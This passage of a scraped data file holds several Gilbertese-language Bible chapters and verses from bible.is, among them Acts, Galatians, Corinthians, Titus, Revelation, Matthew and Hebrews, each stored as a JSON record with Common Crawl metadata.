ngkanne nakon te uea ni butiia reken te raoi: bwa a kareerekei amwarake ibukin abaia man aban te uea. 21N te bongi teuana are e baireaki, ao e karini kunnikaina n uea i aona Erote, ao e tekateka i aon ana kaintokanuea, ao e taetae nakoia aomata. 22A tatakaarua aomata ao a kaangai, bwanaan te anti, ao tiaki bwanaan te aomata ae e taetae! 23Ao e oreaki n te tai naba arei Erote iroun ana anera te Atua, bwa e aki angan te Atua te neboaki; ao e rangi ni baki rabwatana bwa e mwata nanona, ao e mate n tokina. 24E a buta nako riki ana taeka te Atua, ao a bati riki aomata aika a kaeka i nanoia. 25Ngke a a tia aia mwakuri Bwarenaba ma Tauro, ao a oki mai Ierutarem, ao a kaira Ioane are arana teuana Mareko.\nMWAKURI 12","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/12","date":"2014-03-09T08:22:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999675839\/warc\/CC-MAIN-20140305060755-00048-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":803,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, ngkana e bure te aomata temanna, \"ngkana e kuneaki bwa e bure te aomata temanna.\" ao ngkami akana kam kairaki iroun te Taamnei, kam na manga kaetia n te nano ae e nimaamannei; ma ko na tarataraiko, bwa ko kaawa ni manga kariiriiaki naba ngkoe. 2Kam na ibuobuoki n uotami, ao kam na toua mwiin ana tua Kristo iai. 3Bwa ngkana e taku temanna n ana iango bwa e kakannato, ngke e bon aki, ao e burebureia. 4Ma a na kataa oin aia mwakuri aomata n tatabemaniia nako bwa a uara, ao ane e na kamoamoa te aomata i nanona n ti ngaia n are e a tia ni karaoia. E na aki kabootaua are e karaoia ma are e karaoia temanna. 5Bwa a na bon uoti oin uotaia aomata n tatabemaniia nako. 6Ao ane e reireiaki ana taeka te Atua e na buokanibwai ni baika a raraoi ma te tia reirei. 7Kam na tai burebureaki; E aki konaaki ni mwaamwanaaki te Atua: bwa te bae e unikia te aomata, ao e na manga anaa naba uaana. 8Bwa ane e ira nanon rabwatana ao e na anaa mwiina ae te mate man te rabwata; ao ane e ira nanon te Taamnei, ao e na anaa mwiina ae te maiu are e aki toki mai iroun te Taamnei. 9Ma a na tai toki nanora ni kaakaraoa ae e raoiroi, bwa ti a bon tai anai mwiin ara mwakuri n te tai ae e riai, ngkana a aki bwara nanora. 10Ma ngaia ae ti na kaakaraoa ae e raoiroi nakoia aomata ni kabaneia, n aron ae ti kona, ao ai moara riki nakoia kaain te utu n onimaki. 11Nori manin au koroboki aika I koroi n oini baiu bwa ai buubura ra! 12A imanonoingkami te koraki akana a kani bakantamaaroa n aron te maiu n rabwata bwa kam na koroberoaki; bwa ti ibukin aei, bwa a aonga n aki bwainikiriinaki ibukin tataekinan ana kaibangaki Kristo. 13Bwa a aki toua naba mwiin te Tua te koraki ake a koroberoaki; ma a tangiringkami bwa kam na koroberoaki, bwa a aonga ni kamoamoaia n aromi ni kariaia. 14Ma ngai, I bon aki kani kamoamoaai n te bwai teuana, ma ti n ana kaibangaki ara Uea are Iesu Kristo; bwa n ana kaibangaki ao ai aron ae e mate te aonnaba nakoiu, ao ngai nakon te aonnaba. 15Bwa e aki kakaawaki te koroberoaki ke te aki-koroberoaki, ma e kakaawaki reken te maiu ae e boou ni maiun te aomata. 16E na mena i aoia akana e reke irouia te aro aei te rau ma te nanoangaaki, ao i aoia naba ana Iteraera te Atua. 17Kabanean au taeka: Akea ae e na kariki baika N na aki rau iai; bwa I uoti mwiin kain te Uea are Iesu n rabwatau. 18E na mena ana aakoi ara Uea are Iesu Kristo irouia taamneimi, taari. Amene.\nKARATIA 6","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/6","date":"2014-03-17T09:42:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705051\/warc\/CC-MAIN-20140313024505-00010-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":479,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tiaki te bwai ae e kainnanoaki bwa N na koroboki nakoimi ibukin taekan te mwakuri are e karaoaki i bukiia ake a itiaki i Iutaia; 2bwa I ataa nanomi ni kan anga, are I kamoamoaingkami iai nakoia I-Mwaketonia ngke I taekina ae a a kaman tauraoi taan onimaki i Akaia ni kan ibuobuoki man te ririki are e nako; ao a bati i buakoia aika a kaungaaki nanoia n nanokorakorami. 3Aei bukin ae N na kanakoa iai Tito ma taari aika uoman nakoimi, bwa e kaawa n akea nanoni kamoamoaara iroumi n te baei, ao bwa kam aonga n tauraoi; n ai aron are I taekinna bwa kam na bon tauraoi; 4bwa ngkana tao a irai I-Mwaketonia, ao a noora ae kam tuai n tauraoi, ao ti na bon rangi ni maamaa—n aki taekina maamaami—ibukin arora n onimakiningkami. 5Ma ngaia are I taku bwa e riai bwa N na butiia taari aikai bwa a na ri moau nakoimi, ni katauraoa i mwaaiu te bwai n tituaraoi are kam a tia n kabwakaa ami taeka iai bwa kam na karekea, bwa e aonga n tauraoi bwa te bwai ae e aki kairoroaki ma te bwai ae e nako man nanomi. 6Ao uringa aei: ane e kamaaea n unika ae ti teuana, ao e na taia ae ti teutana; ao ane e kamaaea n unika ae e bati, ao e na taia ae e bati. 7E na angabwai te aomata n ai aron are e taku, tiaki ma te nano ae e rawaawata ke n te aro ni kairoro; bwa te Atua E tangira te aomata ae e anga ma nanona ae e kukurei. 8Ao E konaa te Atua ni kabatii bwaai n aakoi ni kabane nakoimi, bwa e aonga n reke iroumi n tai nako te toronibwai ni bwaai ni kabane, bwa kam aonga ni kabatii mwakuri nako aika a raraoi; 9n ai aron are e koreaki ni kaangai: E anga ma te nano n aakoi nakoia akana akea aia bwai; E teimatoa arona n tituaraoi n aki toki. 10Ao Teuare e angan te tia unuuniki te koraa ma te amwarake bwa kanana, E na anganingkami te koraa ni kamwaitia bwa kam na unikia, ao E na kabatii uaan ami tituaraoi. 11Kam na kaubwai ni bwaai nako bwa kam aonga n teimatoa n aromi n tituaraoi n tai nako, bwa a aonga ni bati aomata aika a na katituaraoa te Atua ibukin ami bwai n aakoi aika karekei mai iroura. 12Bwa te mwakuri ae kam karaoia aei e aki ti katoki kain nanoia ake a itiaki, ma e kariki naba katituaraoan te Atua aika a mwaiti. 13I bukin te mwakuri aei, are e a kakoauaaki iai aromi, ao kam na neboa te Atua ibukin tataekinan euangkerioni Kristo iroumi ma ongeaabami nakoia, ao ibukin naba ami tituaraoi n aromi ni buokanibwai ma ngaiia ao aomata nako; 14ao ngaiia a tataro i bukimi ao a nooringkami, ibukin ana aakoi te Atua ae e rangi ni bati i aomi. 15E na katituaraoaki te Atua ibukin ana bwai n tituaraoi are e aki konaaki ni kabwarabwaraaki arona.\n2 KORINTO 9","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/9","date":"2014-03-09T19:22:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010216492\/warc\/CC-MAIN-20140305090336-00029-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":513,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngkoe, ko na taekini baika kanoan te reirei ni koaua. 2Ko na taetae n reireiia unimwaane bwa a na tauu baangiia, a na tauu bwaai ma nanoia, a na iango raoi, a na nako raoi n aia onimaki, ma aia tangira, ao n aia taotaonaki n nano. 3Ao ai aroia naba unaine, ko na taetae n reireiia bwa a na bwaina te maiu ae iai karinean te Atua iai; a na tai winanti, a na tai toronaki n te kamanging; ma a na riki bwataan reirei baika a raraoi: 4bwa a na reireiia ateiaine bwa a na tangiriia buia, ao bwa a na tangiriia naba natia; 5a na iango raoi, a na itiaki, a na mwamwakuri ni mwengaia, a na raoiroi aroia nakoia aomata, ao a na aan-taeka irouia oini buia, bwa e kaawa ni kabuakaki ana taeka te Atua. 6Ao ai arona naba bwa ko na kauungai nanoia rorobuaka bwa a na iango raoi. 7Ko na kaotiko ni bwaai ni kabane bwa te banna ni kakairi n arom ni mwakuri aika a raoiroi; ko na bwaina te eti ma te nano ni koaua ngkana ko anga reirei, 8ao kamanenaai taeka aika oin taeka aika a na aki konaaki ni kabuaakakaaki; bwa e aonga ni maamaa te kairiribai iai, ngkai akea te bae e buaakaka ae e na taekiniira iai. 9A na aan-taeka tooro irouia aia toka ao a na kakukureiia ni bwaai ni kabane; a na tai kauntaeka nakoia; 10ke n iraei aia bwai; ma a na kaotiia bwa iai onimakinaia ni koaua, ao n te aro aei a katamaaroaa te reirei I bukin taekan te Atua are ara Tia Kamaiu n aroia nako. 11Bwa E a tia te Atua ni kaota ana aakoi ibukini kamaiuaia aomata ni kabaneia. 12Te aakoi anne are e reireira bwa ti na rawa nakon te maiu are akea karinean te Atua iai ma te maiu n tangiri bwain aon te aba, ao ti na bwaina te maiu n iango raoi, ae te maiu ae e karaoa nanon te Atua ma n i raorao ma Ngaia n te aonnaba aei, 13ngkai ti tataningaa te bongi ni kabwaia are ti kaantaningaia bwa e na roko ngkana e kaoti mimitongin Atuara ae kakannato ma te Tia Kamaiu are Iesu Kristo, 14are E anga Ngaia i bukira, bwa E aonga ni kainaomataira man te buaakaka ni kabanea, ao E aonga ni kaitiakira bwa aomata aika ana aomata n ti Ngaia, aika iai nanoia ae e korakora ni kani karaoi mwakuri aika a raraoi. 15Ko na taekini baikai, ao ko na kauungaiia ma ni boaiia am aomata ni mwaakan nakoam. E na tai kaakeaa boongam temanna.\nTITO 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Titus\/2","date":"2014-03-12T03:10:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021230991\/warc\/CC-MAIN-20140305120710-00077-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":440,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I noora karawa ae e boou ma aonnaba ae e boou; bwa e a tia ni mauna te moani karawa ma te moa n aonnaba, ao ai aron naba marawa. 2Ao I noora te kaawa are e tabu, are Ierutarem ae e boou, bwa e ruo mai karawa mai iroun te Atua, ao e katauraoaki n ai aron te aine ae e katamaaroaaki ibukin teuare e na mare ma ngaia. 3Ao I ongo te bwanaa man te kaintokanuea bwa e kaangai, Noria, e mena ana umwanrianna te Atua irouia aomata! E na maeka irouia, ao a na riki bwa ana bootanaomata; ao te Atua E na meemena irouia. 4E na kabane rannimataia te Atua ni kaoi mai mataia; ao akea te mate ae e na riki, ao e na akea naba te nanokaawaki, ma te tang, ma te maraki: bwa a mauna nako bwaai nikawai. 5Ao E kaangai Teuare e tekateka i aon te kaintokanuea, Noria, I a karaoi bwaai ni kabane bwa bwaai aika a bou. Ao E kaangai naba, Ko na koroi baika I a tia n taekin; bwa a koaua taeka aikai ao a onimakinaki. 6Ao E taku nakoiu, A bane n tia. Boni Ngai te Moa ao te Toki; boni moani bwaai Ngai ao tokiia naba Ngai. N na angan ane e kani mooi nimana mani koburaken te ran, are te ran ni maiu, ae akea boona. 7Ane e tokanikai ao e na bwaibwai ni baikai; ao N na riki bwa Atuana, ao ngaia e na riki bwa natiu. 8Ma te koraki akana ki-mamaaku, ma akana aki onimaki, ma akana riai ni bati n ribaaki, ma taani kamateia aomata, ma taani wene ni bure, ma taan tabunea, ma taan taromauri bouananti, ma taani kewekewe, a na reke tibwangaia n te nama are e ura iai te ai ma te burimton, are te mate are te kauoua.\nTE KAOTIOTI 21","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/21","date":"2014-03-10T18:24:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010934950\/warc\/CC-MAIN-20140305091534-00062-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":313,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.489,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngkai raon te Atua ni mwakuri ngaira, ao ti butingkami bwa kam na aki butimwaaea ana aakoi te Atua n te aro ae akea boonganana; 2bwa E kaangai te Atua, I ongo iroum n te tai ae e riai, Ao I buokiko n te bongi ni kamaiu. Noria, ngkai te tai ae e riai; nooria, ngkai te bongi ni kamaiu. 3Ti aki kani karika te aro ni kabwakabwaka nakon temanna, bwa e kaawa ni kabuaakakaaki ara mwakuri ibukin te euangkerio; 4ma ti kaotira bwa ana taani mwakuri ni koaua te Atua ngaira n aaro nako: n te nanomwaaka ae e bati, n taian rawaawata, n taiani kainnano, n taiani maraki, n taian oro, 5n taiani kabureaki, n taiani kiriwe, n taiani mwakuri, n taian aki-mamatuu raoi, n taian aki-mamatam, 6n te maiu ae e itiaki, n te atatai, n te taotaonaki n nano, n te atataiaomata, iroun te Taamnei are e Raoiroi, n te tangira ae e aki mwaamwanaa te aba, 7n taekan te koaua ni mwaakan te Atua, ni bwaai ni buaka aika kanoan ana kaantaninga te Atua aika a mena ni baira ae te angaatai ao te angamaing, 8n te karineaki ao n te aki-karineaki, n te uaraoaki ao n te kamoamoaaki; ngke ti atongaki bwa taani bureburea te aba, ma bon taan taekina te koaua ngaira; 9ngke ti taekinaki bwa ti aki ataaki, ma ti bon ataaki irouia aomata nako; ngke aongkoa ti tabe ni mate, ao nooria, ae ti boni maiu; ngke kaanga ti kataereaki n reireiaki, ma ti aki mate; 10ngke ti taonaki n te rawaawata n nano, ma ti aki toki ni kukurei; ngke ti riki bwa kangaa aomata aika akea aia bwai, ma ti karikirakei aroia aomata aika a bati bwa a na kaubwai; ngke ti riki bwa ai aroia akana akea aia bwai, ma ti bwaini bwaai nako. 11I-Korinto, ti aki wi-makiikii n taetae nakoimi, ao ti aki karabai nanora. 12Ti aki tiatian nanora nakoimi, ma boni ngkami aika kam tiatian nanomi. 13Kam na karaoa naba nakoira ae ti karaoia nakoimi—I taetae nakoimi kangaa ataei—kam na aki karabai naba nanomi. 14Kam na tai reitaki ni mwakuri ma akana tiaki taan onimaki. Bwa e na kangaa ni buokanibwai te raoiroi ma te buaakaka? Ke e na kangaa n i raorao te oota ma te roo? 15Ao tera ae e bo iai nanoni Kristo ma Beriara? Ke tera te bwai aei iai iroun te tia onimaki ao iai naba iroun ae tiaki te tia onimaki? 16Ao tera reitakin ana umwantabu te Atua ma bouananti? Bwa ngaira bon ana umwantabu te Atua ae e maiu, n ai aron ana taeka te Atua are e kaangai: N na mamaeka i buakoia ao N na nakonako i buakoia; N na riki bwa Atuaia, ao a na riki bwa au aomata. 17Ao E kaangai naba te Uea: Ma ngaia ae kam na mwaawa mai buakoia, kam na kaokoroingkami; Kam na aki riinga te bae e kamwaraa, Ao N na butimwaaingkami; 18N na riki bwa Tamami, ao ngkami kam na riki bwa natiu mwaane ma natiu aine, bon ana taeka te Uea are Moan te Mwaaka.\n2 KORINTO 6","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/6","date":"2014-03-08T19:18:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999657340\/warc\/CC-MAIN-20140305060737-00026-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":519,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:99Ma ngkana a babanga n taotaon nanoia, ao a na mareaki; bwa e raoiroi riki ae a mareaki nakon ae a tiku ma nanoia ae e kiriwe ibukin tangiran te mwaane ke te aine. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/9","date":"2014-03-12T18:44:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394023864543\/warc\/CC-MAIN-20140305125104-00078-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000016689300537}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tai motiki-taekaia ao mata ni kabuaakakaiia, bwa E kaawa ni motikaki taekami ni kabuaakakaaki iroun te Atua. 2Bwa te motiki-taeka ni kabuaakaka are kam kaboonganaa i bukiia aomata, ao ane E na manga motiki-taekami ni kabuaakakaingkami iai te Atua; ao kawai ake kam kaboonganai bwa bwaini baairean motikan taekani kabuaakakaaia, E na kaboonganai te Atua bwa bwaini baaireani motikan taekami ni kabuaakakaaki. 3E aera bwa ko noora te maange ae moan te uarereke i nanoni matan tarim, ao ko aki noora te oka ane i nanoni matam? 4Ao ko kangaa n rabakau ni kaangai nakon tarim, N na kaaki te maange ae e uarereke mai matam, ngkai ko aki konaa te noora te oka ane i nanoni matam? 5Te tia mwaamwanaa-te-aba, ko na kaaki moa te oka ane i nanoni matam, ao ko a tibwa konaa te noora raoi kanakoan te maange ae e uarereke mai nanoni matan tarim. 6Tai angania kamea te bwai ae e katauaki ibukin te Atua—ane a na rairaki n un nakoimi; ao tai tetewe nako ami atiibu aika a rangi ni kakaawaki nako mataia beeki, bwa a kaawa n toubekaaki i aani waeia. 7Bubuti, ao ane kam na anganaki; ukeuke, ao ane kam na kareereke; karebwerebwe, ao ane e na kaukaki nakoimi. 8Bwa ane e buubuti ao e na anganaki, ao ane e ukeuke ao e na kareereke, ao e na kaukaki te mataroa nakon ane e karebwerebwe. 9Antai te karo i buakomi, ngkana e butiiaki te amwarake iroun natina, ao e anganna te atiibu? 10Ao ngkana e butiaki te ika, ao e na anganna te naeta? 11Ngkai kam ataa te angania natimi baika a raraoi, ngkami aika kam buaakaka, ao tiaki e mwaiti riki iroun Tamami are i karawa te kan anga baika a raraoi nakoia akana a butiia? 12Ma ngaia aei, bwa bwaai ni kabane aika kam tangiri bwa a na karaoaki nakoimi irouia aomata, ao kam na karaoi naba nakoia: bwa aei te reirei ae kanoan tuua ake e anga Mote ma aia boki buraabeti. 13Kam na rin n te mataroa are wariki: bwa e warebwe te mataroa, ao e raababa te kawai are e nako n te mate, ao a mwaiti akana a rin ni mataroana. 14Bwa e wariki te mataroa, ao e irariki te kawai are e nako n te maiu, ao a karako akana a kunea te kawai anne. 15Kam na kaawakiningkami mai irouia buraabeti ni kewe, akana a nakoimi ni bakaaea te nimamannei kaanga ai aroia tiibu, ma bon aroia kameaanti aika a tiritiri ni koaua uaakekei. 16Ane kam na kinaia n uaaia. A anaaki kureebe man akanta? Ao biiku mani kaai aika a kateketeke? 17Ma ngaia ae kaai ni kabane aika a maiu raoi, a kariki uaaia aika a raraoi; ma kaai aika a aki maiu raoi, a kariki uaaia aika a bubuaka. 18E aki konaa ni karika te uaa ae e buaakaka te kai ae e maiu raoi, ao e aki konaa ni karika te uaa ae raoiroi te kai ae e aki maiu raoi. 19Kaai nako aika a aki kariki uaa aika a raraoi, a koreaki ao a teweaki nako n te ai. 20Ma ngaia aei, ane kam na kinaia uaakekei n uaaia. 21A aki bane n rin n uean te Atua akana a aki toki n atoatoangai bwa te Uea Ngai; ma e na rin iai ane e karaoa nanon Tamau are i karawa. 22Ane a na kaangai nakoiu aomata aika a bati n te bong are E na motiki-taekaia iai aomata te Atua, Te Uea, te Uea, tiaki ti taetae ni buraabeti n aram? Ao tiaki ti kanakoia taimonio n aram? Ao tiaki ti karaoi mwakuri aika a kamiimii n aram? 23Ao Ngai N na kaangai nakoia, Bon te aakea reitakiu ma ngkami; naako mai irou, ngkami aika kam tuai meni karaoa nanon te Atua. 24Ma ngaia aei, bwa ane e ongo au taeka aikai ao e iri nanoia, ao ai aron te aomata ae e wanawana, are e katea ana auti i aon te bwa: 25ao e bwaka te karau, ao e roko te raanga, ao e kare te ang ae e baibati n neakina te auti arei, ma e aki bwaka, ibukina bwa e kateaki i aon te bwa. 26Ao ane e ongo au taeka aikai n aki iri nanoia, ao ai aron te aomata ae e baba, are e katea ana auti i aon te tabo ae e maraurau: 27ao e bwaka te karau, ao e roko te raanga, ao e kare te ang ae e baibati n neakina te auti arei, ao e bwaka; ao e uruaki rabwatana ni kabanea. 28Ngke E a tia n atong taeka aikai Iesu, ao a miimii aomata n arona n reirei: bwa 29E reireiia n ai aron ae e mwaaka ao tiaki n ai aroia aia taani koroboki.\nMATAIO 7","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/7","date":"2014-03-07T05:25:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999635916\/warc\/CC-MAIN-20140305060715-00063-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":796,"character_repetition_ratio":0.053,"word_repetition_ratio":0.036,"special_characters_ratio":0.238,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bokin araia ana bakatibu nako Iesu Kristo, are e riki mai iroun Tawita are e riki mai iroun Aberaam. 2E karikaki Itaaka iroun Aberaam; ao Itaaka e karika Iakobwa; ao Iakobwa e karika Iuta ma tarina nako; 3ao Iuta e karika Bereti ao Tera iroun Nei Tama; ao Bereti e karika Etiron; ao Etiron e karika Ram; 4ao Ram e karika Amminataba; ao Amminataba e karika Nation; ao Nation e karika Taremon; 5ao Taremon e karika Boati iroun Nei Raaba; ao Boati e karika Obeta iroun Nei Ruta; ao Obeta e karika Iete. 6Ao Iete e karika Tawita are te Uea. Ao Tawita e karika Toromon irouni buun Uria; 7ao Toromon e karika Reoboam; ao Reoboam e karika Abiia; ao Abiia e karika Ata; 8ao Ata e karika Ieotiabwata; ao Ieotiabwata e karika Ioram; ao Ioram e karika Utia; 9ao Utia e karika Iotam; ao Iotam e karika Aati; ao Aati e karika Etekia; 10Ao Etekia e karika Manate; ao Manate e karika Amon; ao Amon e karika Iotia; 11ao Iotia e karika Iekonia ma tarina nako, n te tai are a kairaki nako iai Iteraera bwa taenikai i Bwaburon. 12I mwiin te kairaki nako Bwaburon, ao Iekonia e karika Tearetiera; ao Tearetiera e karika Terubwabera; 13ao Terubwabera, e karika Abiuta; ao Abiuta, e karika Eriakim, ao Eriakim e karika Atora; 14ao Atora, e karika Tatoka; ao Tatoka, e karika Akim; ao Akim e karika Eriuta; 15ao Eriuta, e karika Ereata; ao Ereata, e karika Matan; ao Matan, e karika Iakobwa; 16ao Iakobwa, e karika Iotebwa are buun Nei Maria, are E bungiaki mai irouna Iesu, are E atongaki bwa Kristo. 17Bootaia ngkanne rooro ni bane mai iroun Aberaam ni karokoa Tawita, bon tengauni ma a roro; ao mai iroun Tawita ni karokoa te kairaki nako Bwaburon bon tengauni ma a roro ao man te kairaki nako Bwaburon ni karokoa bungiakin Iesu, bon tengauni ma a roro naba. 18Aio aroni bungiakin Iesu Kristo; e a tia ni kabae tinana are Nei Maria ma Iotebwa, ma i mwaain ae a mareaki ao e ataaki bwa iai te teei i birotona mai iroun te Taamnei are e Raoiroi; 19Ao Iotebwa are e na bunna, ngkai te aomata ae e nanoanga, ao e aki kani kamamaaea Nei Maria i mataia aomata, e reke ana iango bwa e na kabwaraa aia kabae ni karabaa taekana. 20Ma ngke e iangoa aei, ao nooria, e kaoti ana anera te Atua nakoina n te mii, ao e kaangai, Iotebwa, ae natin Tawita, tai maaku n anaa Nei Maria bwa bum: bwa E riki te baere i nanoni birotona mai iroun te Taamnei are e Raoiroi. 21Ane e na bungia te nati te mwaane, ao ko na aranna bwa Iesu, bwa Ngaia ae E na kamaiuiia ana aomata man aia bure. 22A riki baikai ni kabane bwa a aonga ni kakoauaaki ana taeka te Atua are E a tia n taekinna iroun te buraabeti, ngke e kaangai: 23Noria, ane e na kariki te ataeinaine, ao e na bungia te nati te mwaane, ao a na aranna bwa Emanuera, (ae nanona, Te Atua iroura). 24Ngke e uti Iotebwa mani matuuna, ao e karaoa are e tuangnga ana anera te Atua; e taanga ma Nei Maria, 25ma e aki bootaki ma ngaia ni karokoa e a tia ni bungia natina; ao e aranna Iotebwa bwa Iesu.\nMATAIO 1","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/1","date":"2014-04-24T01:55:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1398223204388.12\/warc\/CC-MAIN-20140423032004-00197-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000091791152954}","num_words":557,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.413,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17Ma ngaia are e riai irouna bwa E na riki n ai aroia tarina ni bwaai ni kabane, bwa E aonga n riki bwa aia Ibonga ae e Kakannato ae e nanoanga ma ni kakaonimaki ni baika a reitaki ma te Atua, n anga te karea n raoi ibukin aia bure aomata.\nEBERA 2:17\nFREE!\nOne App.\n1370 Languages.","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/17","date":"2014-04-17T13:13:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609530131.27\/warc\/CC-MAIN-20140416005210-00468-ip-10-147-4-33.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kiitana te umwantabu Iesu, ao E toua nako kawaina ngke a roko irouna ana reirei bwa a na kotokotea nakoina te umwantabu ma bwaina nako. 2Ao E kaekaia ni kaangai, Tiaki kam noori baikai ni kabane? E koaua ae I a tuangkami bwa ane e na bon aki tiku ikai te atiibu teuana i aon te atiibu teuana; a na bane ni kabwakaaki. 3Ngke E tekateka Iesu i aon te maunga are Oriweta, ao a nakoina ana reirei ngke ti ngaiia, ao a kaangai, Ko na tuangiira bwa e na roko n ningai? Ao tera kanikinaaean rokom ma tokin aonnaba? 4Ao E kaekaia Iesu ni kaangai, Kam na tarataraingkami bwa ane a na burebureingkami aomata! 5Bwa a mwaiti aomata akana a na roko n arau, ao a na kaangai, Bon te Kristo ngai; ao ane a na burebureiia aomata aika a bati. 6Ane kam na ongoraa karongoaan taiani bo buaka aika a kaan, ma rongorongon taiani bo buaka aika a raroa nako; kam na tarataraingkami bwa kam na aki maaku; a na riki baikai, ma tiaki nanona bwa e a roko te toki. 7Bwa ane e na tei rake te aba teuana ni buakana te aba teuana, ao te tautaeka teuana ni buakana te tautaeka teuana; ao ane a na roko roongo ma mwaeiein te aba n taabo nako. 8Baikai ni kabane kaanga ai aroni moani maraki ake a namakinaki n ana tai te ataei ni bungiaki. 9Ao ngkana a riki baikanne, ao ane a na anga ngkami bwa kam na karawaawataaki, ao ane a na kamateingkami; ao ane kam na ribaaki irouia bootanaomata ni kabaneia ibukin arau. 10Ane a na akea aia onimaki aomata aika a bati, ao ane a na i kamwaamwane ao a na i kairiribai. 11Ao ane a na tei rake buraabeti ni kewe aika a bati, ao ane a na burebureiia aomata aika a bati. 12Ane a na toki aia tangira aomata ibukina ngkai e kamwaitaki te buaakaka. 13Ma ane e nanomwaaka ni karokoa te toki, ao e na 